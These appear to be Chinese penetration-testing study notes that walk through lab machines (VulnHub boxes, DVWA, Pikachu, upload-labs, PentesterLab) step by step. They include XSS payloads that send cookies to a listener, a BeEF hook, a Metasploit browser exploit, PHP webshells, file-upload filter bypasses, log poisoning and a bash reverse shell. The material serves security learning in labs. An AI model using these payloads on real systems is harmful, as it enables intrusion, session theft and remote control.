| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsDP1G9p8pMW+TiKn0Exn6d2tGTTPGrKsIAlCWxUoZu/Jz+teqiDxZoQArXlhK/SgXXJv6ufJHMcgWhFOdGG/8Jfm46M7qURTWqTER5f7aNimHTvcBB/Zcnr1cSE+Yt3UgeguQ2VBTqPnESNjIinj5f7OrEJCG6Uvf221Wijzvb6KrYv5LNfrh8UJJ6ieis13aqvjwN1MQdKwMWYAV/2aPLME59TVyqneRDOvFZRDEPMHGJB3ZoNrlNudDf6UqZuLViplnkaN+SuxAWNXYG+g1fA578fNVIzI7bHAYDbCGFZh87TLKHvJvgqlWLDQvo8irzHlWvIpehvbpthnGIG0V
| 256 20:d7:72:be:30:6a:27:14:e1:e6:c2:16:7a:40:c8:52 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOedB//c64utUEo+gsmsh26dzZa0eMsc83InMyXD0rEepjTXqxbplJWFzx3rQSElxwdql+BsaQBI9qg+XROp9ZQ=
| 256 84:a0:9a:59:61:2a:b7:1e:dd:6e:da:3b:91:f9:a0:c6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIwpzv0aEpNMhO0avZsZ46zXc0aPO2V+867IaJkhJuSN
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.18
|_http-title: Index of /
| http-ls: Volume /
| SIZE TIME FILENAME
| 55K 2019-08-09 01:20 README.md
| 1.1K 2019-08-09 01:21 gallery.html
| 259K 2019-08-09 01:11 img_5terre.jpg
| 114K 2019-08-09 01:11 img_forest.jpg
| 663K 2019-08-09 01:11 img_lights.jpg
| 8.4K 2019-08-09 01:11 img_mountains.jpg
|_
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:05:05:03 (VMware)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
四、查看80端口的信息
- 发现包含几张图片和文本
1、由于发现了图片,所以考虑图片隐写,查看图片信息
未发现隐写
2、查看是否含有隐藏目录
dirsearch
dirsearch -u 192.168.184.135
未发现隐藏目录
五、CyberChef解码
-
=
考虑是否为Base64 - 用
From Charcode
解码
- 获取到的图片信息为
六、将获取到的信息形成字典
hello
bob
broken
cheers
avrahamcohen.ac
七、使用九头蛇爆破
hydra -L test.txt -P test.txt ssh://192.168.184.135
[22][ssh] host: 192.168.184.135 login: broken password: broken
八、远程SSH链接
ssh broken@192.168.184.135
九、查看自己的权限
broken@ubuntu:~$ sudo -l
Matching Defaults entries for broken on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User broken may run the following commands on ubuntu:
(ALL) NOPASSWD: /usr/bin/timedatectl
(ALL) NOPASSWD: /sbin/reboot
- 查看目录
- 是否可以进入root目录
- 查看是否有隐藏文件
- 查看passwd文件
- 查看是否可以替换命令
- 快捷方式是否可以更改到别的命令
-
sudo -i
可直接进入root -
sudo man man
然后输入!
可直接进入root
十、查看历史命令
history | more
- 写入密码
- 发现查看过此文档
- 查看password-policy.sh文档
broken@ubuntu:~$ cat /etc/init.d/password-policy.sh
#!/bin/bash
DAYOFWEEK=$(date +"%u")
echo DAYOFWEEK: $DAYOFWEEK
if [ "$DAYOFWEEK" -eq 4 ]
then
sudo sh -c 'echo root:TodayIsAgoodDay | chpasswd'
fi
#if [ "$DAYOFWEEK" == 4
发现每个周四将密码改为TodayIsAgoodDay
将系统时间改为周四
十一、更改系统时间
broken@ubuntu:~$ sudo timedatectl set-time '2022-05-19 12:00'
XSS漏洞原理与应用
一、什么是XSS漏洞
通过注入手段,将恶意代码传输给服务器,服务器没有做任何校验,将携带恶意代码的数据发送给客户浏览器,浏览器接收数据后,自动执行了恶意的代码,造成浏览器被劫持,浏览器中的账号密码、以及其他数据将面临风险。同时,浏览器可能遭受劫持,被用于钓鱼操作。
二、XSS漏洞简单演示
1、编写HTML代码,放入Web目录下
<html>
<title>XSS TEST</title>
<body>
keyword: <?php echo $_GET['k']; ?><br>
</body>
</html>
-
这是登录会发现报错,原因是k没没有赋值
http://192.168.184.1/XSS/test_01.php?k=500
2、访问XSS页面,实现插入字符功能
http://192.168.184.1/XSS/test_01.php?k=<script>aaa</script>
发现直接写入了返回的代码中
3、利用JS弹窗,测试XSS漏洞
http://192.168.184.1/XSS/test_01.php?k=<script>alert("Yang")</script>
4、嵌入其他网站,实现钓鱼攻击
http://192.168.184.1/XSS/test_01.php?k=<iframe src=http://192.168.184.1/XSS/text_02.html width=1000 height=1000></iframe>
5、读取cookie
-
Kali开启Web监听
python3 -m http.server 80 netstat -an | more #查看已经开启的端口
-
此时访问Kali的80端口,kali会出现日志
-
注入语句
192.168.184.1/XSS/test_01.php?k=<script>document.location='http://192.168.184.128/?php=1'</script> 192.168.184.1/XSS/test_01.php?k=<script>document.location='http://192.168.184.128/?cookie='%2bdocument.cookie;</script>
发现用户访问192.168.184.1的时候会跳转到192.168.184.128,如果此时用户携带cookie的话,kali也会获取
三、常见的三种XSS攻击类型
1、反射性
- 非持久性
- 需要攻击者提前构造一个恶意链接
2、存储型
- 把程序固化到网站的某一个页面当中
3、DOM-XSS
- 客户端的脚本程序可以通过DOM动态地检查和修改页面内容,不依赖于提交数据到服务器,而从客户端获得DOM中的数据在本地执行
四、反射型XSS漏洞攻击(get)
构造语句实现弹窗
<script>alert(1)</script>
五、反射性XSS漏洞攻击(POST)
1、抓取数据包
2、修改数据
3、访问链接
六、存储型
七、DOM型XSS
- 不通过服务器发送
1、源代码
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
2、修改代码
- 方法一
'><img src="#" onmouseover="alert('Yang')">
- 方法二
' onclick="alert('Yang')">
八、DOM型XSS-X
方法一
'><img src="#" onmouseover="alert('Yang')">
![image-20220516191935943]202205161919017.png)
方法二
' onclick="alert('Yang')">
XSS漏洞综合实验
一、安装beef
1、安装
beef-xss
2、卸载
apt-get remove beef-xss --purge #--purge可以删除所有配置文件
apt-get update
二、设置账户名
发现开启了3000端口
三、登录Beff
生成的链接
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
<script src="http://192.168.184.128:3000/hook.js"></script>
此时访问,beef会生成记录
四、测试
Hello <script src="http://192.168.184.128:3000/hook.js"></script>
<script src="http://192.168.184.128:3000/hook.js"></script>
beef上线新主机
Winxp访问DVWA
beef又上线新主机
五、获取数据
六、利用cookie信息
1、默认情况kali访问DVWA
2、添加cookie信息
3、访问登录界面
七、网页跳转
八、获取系统权限
1、进入msfconsole渗透测试框架
msfconsole
2、进入攻击模块
msf6 > use exploit/windows/browser/ie_execcommand_uaf
3、配置信息,默认不需要修改
#相关命令
show info #查看介绍
4、启动攻击
msf6 exploit(windows/browser/ie_execcommand_uaf) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.184.128:4444
[*] Using URL: http://192.168.184.128:8080/YPIWFWLFV5wHiRX #目标需要访问的链接
[*] Server started.
攻击后,xp自动跳转到指定界面
5、成功获取权限
6、sessions 查看被攻击者列表
sessions 1 #进入权限
7、 获取远程权限
8、创建文件
echo YikJiang > test.txt
9、上传文件到被攻击者
cd / #进入根目录下
upload /tmp/test.txt
10、查看xp系统是否上传成功
九、抓取数据包
1、进入抓包模块
load sniffer
2、查看当前网卡信息
meterpreter > sniffer_interfaces
1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
只有一个网卡1
3、抓取信息
meterpreter > sniffer_start 1
[*] Capture started on interface 1 (50000 packet buffer)
4、此时xp访问HTTP服务和FTP服务
5、关闭抓取
sniffer_stop 1
6、把抓取到的结果输出
meterpreter > sniffer_dump 1 /tmp/111.pcap
[*] Flushing packet capture buffer for interface 1...
[*] Flushed 1625 packets (454626 bytes)
[*] Downloaded 100% (454626/454626)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/111.pcap
sz 111.pcap #提取到物理机
抓取到了FTP和HTTP的数据包,并且由于FTP是明文,所以可以查看到密码
YikJiang
?????????????? ???????✨?????????????
?XSS靶机
一、?扫描基本信息
1、扫描IP
netdiscover -r 192.168.184.0/24
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.184.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.184.2 00:50:56:f8:49:8c 1 60 VMware, Inc.
192.168.184.136 00:0c:29:28:c7:d5 1 60 VMware, Inc.
192.168.184.254 00:50:56:e2:c5:b4 1 60 VMware, Inc.
2、扫描端口
nmap -sC -sV 192.168.184.136 -n -vv --min-rate=2000
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 5.5p1 Debian 6+squeeze4 (protocol 2.0)
| ssh-hostkey:
| 1024 15:a1:c3:9f:bd:95:f5:07:66:44:b6:f7:89:d1:76:7f (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBANcG8n45XyarI4aMMTJvFKJaCwntIkag3HvyBNC1tulTT5UsMWyq7XZ3YWB57MWpfBzBzm6OvWrSACfVuoA37bm92ugojbi0Gc+SxfDyHeUjizGTbknsGSDhSc43b8fuORtPMXoxTx+i+sbWA1TPzJQOSuCGSvqFqkGcHNY45w9NAAAAFQCg6IS4OJRfA+OEi/CkKf6e6DwjGwAAAIEAxOOO3OGBzPER6jLyWhWl/YFzfcAKrEBJzDzK+xPHF0VhKSfhqqowNC4KDHneQmMJRnwvzjXBR8a4UGXBH9//8NwxKv3QmSqixwZR42fziDuoq7kee9aExGIgbrM0DC0ZOCzCdm/i8cLVOPP+sb5rHynUkGb5ymSwgQ7zR5yI3kYAAACBAMcDImXeWEIUHmbhe1798B7DzBV01Rxj9HuhkzGOwuLA1TXKfr6EZO7qFH1vPIStX9D6YZ4QxR/MjKXdVwEDdbfu+PEpfOrqx6IY1JQniEqQqzqIXMONHk4laRbq6L+yAVnz3NtOZHX4/uYHFA5QRc5yJOqmKxUTGPZMnZN+kps4
| 2048 ad:bf:ed:5c:12:97:cd:38:be:51:09:fa:a0:54:22:52 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1p0+Cjze0ISAf0g0mpqXXHynZ+ITt6kv20U0mzjVLpFTWBI7uYv0HedeIJpZabEMTmmXV0mA37qpGCcsIW/ErjI5PE6T2wKlec3QVtSh0g91XRbKdaVsVRcof170QkfJHwMQeBcZy44t3tel9zt7IqjYB06sqgItS6GJpcp/SuxH51tZUvYUtheKo7+hFVTi3C/UA8VkWmonvitl42QC3/2DQ1F8kI0+Knif/J+92uG6GKCJU7igRGM+FHzbRnb9VU5sMJxC36cBZzn+IAkoRA3hH7fwOlIhlABiQqlmSLJc9Fgf6MlZtookt95CvEGCK/bdcczJMVBWDMZOsLWVN
80/tcp open http syn-ack ttl 64 Apache httpd 2.2.16 ((Debian))
|_http-title: PentesterLab vulnerable blog
|_http-favicon: Unknown favicon MD5: 967B30E5E95445E29B882CC82774AC96
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.16 (Debian)
开启80和22端口
二、?查看80端口,并测试是否可以XSS注入
<script>alert(111)</script>
测试发现注入成功
三、?开启监听,并注入XSS语句
1、开启监听
python3 -m http.server 80
2、注入语句,使得访问kali,获取cookie
<script>new Image().src="http://192.168.184.128/test.php?o="+document.cookie;</script>
"GET /test.php?o=PHPSESSID=ed249cc35dh9li37au4gig7od1 HTTP/1.1" 404 -
3、输入后提交,等待一会后,监听到一个cookie
此cookie为admin用户的cookie
"GET /test.php?o=PHPSESSID=eee9e83boqudr4fqn05sr6bvg7 HTTP/1.1" 404 -
4、修改cookie
- 发现成功登录到admin界面
四、?点击edit,发现疑似可以SQL注入的地方
SQL注入后,提示错误信息,错误信息包含路径
/var/www/classes/post.php
五、?抓取数据包,使用sqlmap检测
GET /admin/edit.php?id=2* HTTP/1.1 # *表示只对这一次地方进行检测
Host: 192.168.184.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=eee9e83boqudr4fqn05sr6bvg7
Upgrade-Insecure-Requests: 1
1、测试存在那些风险
sqlmap -r 22.txt
发现存在boolean型注入
2、查看存在那些数据库
sqlmap -r 22.txt --dbs
[*] blog
[*] information_schema
[*] mysql
3、查看数据库表信息
sqlmap -r 22.txt --D blog --tables
+----------+
| comments |
| posts |
| users |
+----------+
4、查看数据信息
sqlmap -r 22.txt -D blog -T users --dump
+----+-------+---------------------------------------------+
| id | login | password |
+----+-------+---------------------------------------------+
| 1 | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) |
+----+-------+---------------------------------------------+
六、?尝试写入文件
1、编写一句话木马
<?php system($_GET['cmd']) ?>
2、写入admin目录
- 目录为之前报错提示的目录
sqlmap -r 123.txt --file-write="./222.txt" --file-dest="/var/www/classes/shell.php"
#123.txt 为BUrpsuite抓取的数据包
#22.txt 为写入一句话木马文件名
#路径为报错提示的路径
文件上传漏洞
一、?基础概念
web系统,某些功能模块允许我们上传文件,如果对于上传文件没有做好相应的校验机制,我们将会上传一个webshell文件,以达到控制服务器的目录。一旦webshell被上传,将可以对服务器进行文件读写,或者命令执行。
什么是Webshell
具有一定系统操纵功能的web页面,可以对目标服务器进行控制和命令执行
二、?发现文件上传漏洞的方法
- 收集可以上传文件的Web功能入口
- 进行常规的文件上传操作,并进行抓包,分析发送数据的格式和内容,然后分析可能存在的漏洞
- 通过绕过检测机制的方法,上传webshell
三、?client check(基于客户端校验)
1、通过反馈的弹窗,初步判断使用了本地校验,分析本地web代码
文件发送通常使用POST方式发送,Burp抓取数据包的时候没有抓取到数据包。、
<?php phpinfo();?>
思路:先发送正常的数据包绕过前端,再从Burpsuite中send以php结尾的文件
<script>
function checkFileExt(filename)
{
var flag = false; //状态
var arr = ["jpg","png","gif"]; //白名单模式
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//比较
for(var i=0;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag)
{
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
</script>
- 方法一
绕过前端
-
方法二
修改返回代码
四、?MIME type(基于服务端MIME校验)
1、通过上传php文件,发现可以正常发包,但是返回后缀名,只能是jpg格式
2、对代码进行分析,发现服务器校验了发送数据包中的Content-type
值
if(isset($_POST['submit'])){
// var_dump($_FILES);
$mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
3、修改Type值
image/jpeg
将传给服务器的值修改为image/jpeg
4、访问
五、getimagesize(基于图片特征校验函数)
- 需要先将PHP版本切换为7.0.12
1、上传一个webshell,后缀名为jpg,返回错误
2、上传一个正常图片,返回正确,初步判断是进行了图片特征校验
3、制作图片木马,然后上传
copy 1.jpg/b + 1.php/a 222.jpg
/b:二进制
/a:ASCII码
4、在webshell上传后,借助文件包含执行后门程序
- 观察目录结构,需要后退两级访问图片
../../unsafeupload/uploads/2022/05/18/2531276284ac39b8828887412532.jpg
- 原路径
http://192.168.184.1/Pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
- 修改后的路径
http://192.168.184.1/Pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/05/18/2531276284ac39b8828887412532.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
- 执行成功
?Upload-Labs
防范措施:
- 设置白名单
- 使用静态云存储
一、✨Pass_01
基于本地的后缀名验证
1、方法一
正常上传jpg格式文件,使用Burpsuite拦截,修改后缀,则可绕过
2、方法二
直接使用插件禁用JS代码
二、✨Pass_02
基于MIME文件类型校验
三、✨Pass_03
基于后缀名黑名单进行校验
1、查看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp'); //设置黑名单
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
2、使用不常见的后缀进行绕过,php5、phtml、php3等
- 修改配置文件,增加对应的解析文件类型
- 查看httpd.conf: AddType application/x-httpd-php ,增加后缀名
注意取消注释
- 切换PHP的版本为5.4(无NTS版)
四、✨Pass_04
1、上传一个.htaccess
文件,定义直接作为代码执行的文件名
<FilesMatch "up">
SetHandler application/x-httpd-php
</FilesMatch>
只要文件名等于
up
统一按照php代码来执行
2、上传一个webshell,命名为up.jpg
3、访问up.jpg
文件,可以看到文件被执行
7版本之前的漏洞
五、✨Pass_05
需要7.1以上的版本
1、先上传一个以auto_prepend_file=1.gif
为内容的user.ini
文件
2、然后再上传一个内容为php的一句话脚本,命名为1.gif
3、user.ini
文件的意思:当前目录所有的php文件自动包含1.gif
user.ini
相当于一个用户自定义的php.ini
六、✨Pass_06
需要PHP版本5.4.45
1、查看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
发现文件名大小写不严谨漏洞
2、修改文件名为2.Php
七、✨Pass_07
通过查看源代码,发现可以利用特殊符号绕过
传输文件的时候,抓包修改文件名。增加空格和点,绕过检查,服务器收到以后保存不会保存特殊符号,成功执行php
Content-Disposition: form-data; name="upload_file"; filename="1.php ."\
# 服务器收到1.php .
1、去除末尾小数点得到 1.php空格
2、拿着1.php空格与黑名单对比,发现没用匹配,继续上传
3、服务器收到1.php空格,保存文件默认取消空格保存为1.php
八、✨Pass_08
1、查看源代码
发现漏洞:判断文件名的时候使用的最初的文件名
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
2、思路
- 根据代码,将文件名设置为
1.php.
- 根据.分隔,后缀名为空,空与黑名单对比,不存在,通过
- 服务器收到
1.php.
不会保存最后的.,所以保存后的文件名为1.php
3、步骤
- burpsuite截断
- 上传文件
九、✨Pass_09
1、查看源代码,发现没用对::$DATA
做处理
此方法仅限于Window系统ntfs分区
系统收到后会当作自己分区符号,不会作为文件名存储
2、Burpsuite截断
Content-Disposition: form-data; name="upload_file"; filename="1.php::$DATA"
十、✨Pass_10
1、查看源码
发现做判断的值为初始值
2、思路
- 截断修改文件名为
1.php. .
- 删除末尾的点
1.php.空格
- 根据
.
分隔,分为1.php
和.空格
- 去除末尾空格后,发送给服务器,服务器保存时更改为
1.php
3、步骤
十一、✨Pass_11
后缀名双写绕过
1、代码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']); #自动识别文件名
$file_name = str_ireplace($deny_ext,"", $file_name); # 如果发现文件名有arry里的类型,自动替换为空
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
2、后缀名双写
从左往右匹配
- 修改文件名为
1.pphphp
十二、✨Burpsuite
- 可以使用burpsuite抓取数据包
- 将后缀名设置为变量
- 将文件类型
image/jpeg
- 设置为木马图片,防止图片检测
文件包含漏洞
一、?概念
利用了文件包含功能,将而已代码包含到功能页面中把那个执行,从而获取webshell
二、?分类
1、本地包含
需要在本地上传一个代码文件,后缀名不限,然后通过相对路径进行包含并执行代码。
与getimagesize同理
2、远程包含
不需要在本地上传文件,课任意包含远程文件,然后执行,这种文件包含风险更大
- 修改配置文件
- 直接远程上传
http://192.168.184.1/Pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.184.1/Pikachu/vul/unsafeupload/uploads/2022/05/18/9774366284ab57de478009611930.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
?Durian
一、?靶机信息
# 靶机地址
http://www.vulnhub.com/entry/durian-1,553/
s
#参考
https://blog.csdn.net/LYJ20010728/article/details/119832954
https://blog.csdn.net/weixin_50688050/article/details/118218951
二、?获取端口信息
1、获取IP
netdiscover -r 192.168.184.0/24
Currently scanning: 192.168.184.0/24 | Screen View: Unique Hosts
6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.184.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.184.2 00:50:56:f8:49:8c 2 120 VMware, Inc.
192.168.184.137 00:0c:29:d4:59:5a 2 120 VMware, Inc.
192.168.184.254 00:50:56:e2:c5:b4 1 60 VMware, Inc.
2、查看开启端口
nmap -sC -sV 192.168.184.137 -p- -vv -n --min-rate=2000
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
7080/tcp open ssl/empowerid syn-ack ttl 64 LiteSpeed #可能为8088的后台
8000/tcp open http syn-ack ttl 64 nginx 1.14.2
8088/tcp open radan-http syn-ack ttl 64 LiteSpeed #LiteSpeed类似于Apache
- 发现开启了22、8000、8088、80端口
3、访问7080
由于账号和密码都是未知,所以不考虑爆破
三、?searchsploit
查看漏洞
searchsploit litespeed
四、?feroxbuster
目录探测工具
feroxbuster -u "http://192.168.184.137:8088/"
由于8088和8000端口都开启了http服务,所以都需扫描
1、探测8088
200 GET 20l 51w 765c http://192.168.184.137:8088/
301 GET 14l 109w 1260c http://192.168.184.137:8088/cgi-bin => http://192.168.184.137:8088/cgi-bin/
301 GET 14l 109w 1260c http://192.168.184.137:8088/css => http://192.168.184.137:8088/css/
301 GET 14l 109w 1260c http://192.168.184.137:8088/img => http://192.168.184.137:8088/img/
301 GET 14l 109w 1260c http://192.168.184.137:8088/docs => http://192.168.184.137:8088/docs/
301 GET 14l 109w 1260c http://192.168.184.137:8088/docs/css => http://192.168.184.137:8088/docs/css/
301 GET 14l 109w 1260c http://192.168.184.137:8088/docs/img => http://192.168.184.137:8088/docs/img/
301 GET 14l 109w 1260c http://192.168.184.137:8088/docs/zh-CN => http://192.168.184.137:8088/docs/zh-CN/
301 GET 14l 109w 1260c http://192.168.184.137:8088/protected => http://192.168.184.137:8088/protected/
- 发现http://192.168.184.137:8088/protected/需要账号登录
由于账号和密码都是未知,所以不考虑爆破
2、探测8000
3、探测80
301 GET 9l 28w 317c http://192.168.184.137/blog => http://192.168.184.137/blog/
301 GET 9l 28w 321c http://192.168.184.137/cgi-data => http://192.168.184.137/cgi-data/
200 GET 20l 51w 765c http://192.168.184.137/
403 GET 9l 28w 280c http://192.168.184.137/server-status
301 GET 9l 28w 329c http://192.168.184.137/blog/wp-includes => http://192.168.184.137/blog/wp-includes/
301 GET 9l 28w 326c http://192.168.184.137/blog/wp-admin => http://192.168.184.137/blog/wp-admin/
301 GET 9l 28w 328c http://192.168.184.137/blog/wp-content => http://192.168.184.137/blog/wp-content/
301 GET 9l 28w 330c http://192.168.184.137/blog/wp-admin/css => http://192.168.184.137/blog/wp-admin/css/
301 GET 9l 28w 333c http://192.168.184.137/blog/wp-admin/images => http://192.168.184.137/blog/wp-admin/images/
301 GET 9l 28w 331c http://192.168.184.137/blog/wp-admin/user => http://192.168.184.137/blog/wp-admin/user/
301 GET 9l 28w 334c http://192.168.184.137/blog/wp-admin/network => http://192.168.184.137/blog/wp-admin/network/
301 GET 9l 28w 332c http://192.168.184.137/blog/wp-admin/maint => http://192.168.184.137/blog/wp-admin/maint/
301 GET 9l 28w 336c http://192.168.184.137/blog/wp-content/uploads => http://192.168.184.137/blog/wp-content/uploads/
301 GET 9l 28w 329c http://192.168.184.137/blog/wp-admin/js => http://192.168.184.137/blog/wp-admin/js/
301 GET 9l 28w 335c http://192.168.184.137/blog/wp-admin/includes => http://192.168.184.137/blog/wp-admin/includes/
301 GET 9l 28w 336c http://192.168.184.137/blog/wp-content/plugins => http://192.168.184.137/blog/wp-content/plugins/
301 GET 9l 28w 335c http://192.168.184.137/blog/wp-content/themes => http://192.168.184.137/blog/wp-content/themes/
301 GET 9l 28w 344c http://192.168.184.137/blog/wp-content/plugins/akismet => http://192.168.184.137/blog/wp-content/plugins/akismet/
五、?尝试访问网站
http://192.168.184.137/cgi-data/
getlmage.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
/*
</?php include $_GET['file']; */
</body>
</html>
发现文件包含漏洞
- 测试包含文件
view-source:http://192.168.184.137/cgi-data/getImage.php?file=../../../../../../../etc/passwd
测试能读,可以包含其他文件
六、? 尝试写入后门代码
1、访问日志
网站被访问的过程文件
/var/log/apache2/access.log
尝试访问,访问不成功,怀疑管理员修改了路径,尝试爆破
- 结果为
view-source:http://192.168.184.137/cgi-data/getImage.php?file=../../../../../../../var/log/durian.log/access.log
七、尝试在日志文件中写入代码
1、尝试修改User-Agen
2、再次访问日志文件
发现成功写入日志
3、写入一句话木马
<?php system($_GET['x']);?>
#传输一个x的值,让他来执行命令
- 写入后发现代码被执行
4、给x赋值
重新尝试修改为123123,会发现123123之间多了文件名,证明ls执行成功
七、?Hack-Tools
1、kali监听
nc -lvvp 8888
2、反弹shell
bash -c 'exec bash -i &>/dev/tcp/192.168.184.128/8888 <&1'
GET /cgi-data/getImage.php?file=../../../../../../../var/log/durian.log/access.log&x=bash+-c+'exec+bash+-i+%26>/dev/tcp/192.168.184.128/8888+<%261' HTTP/1.1
Kali提权成功
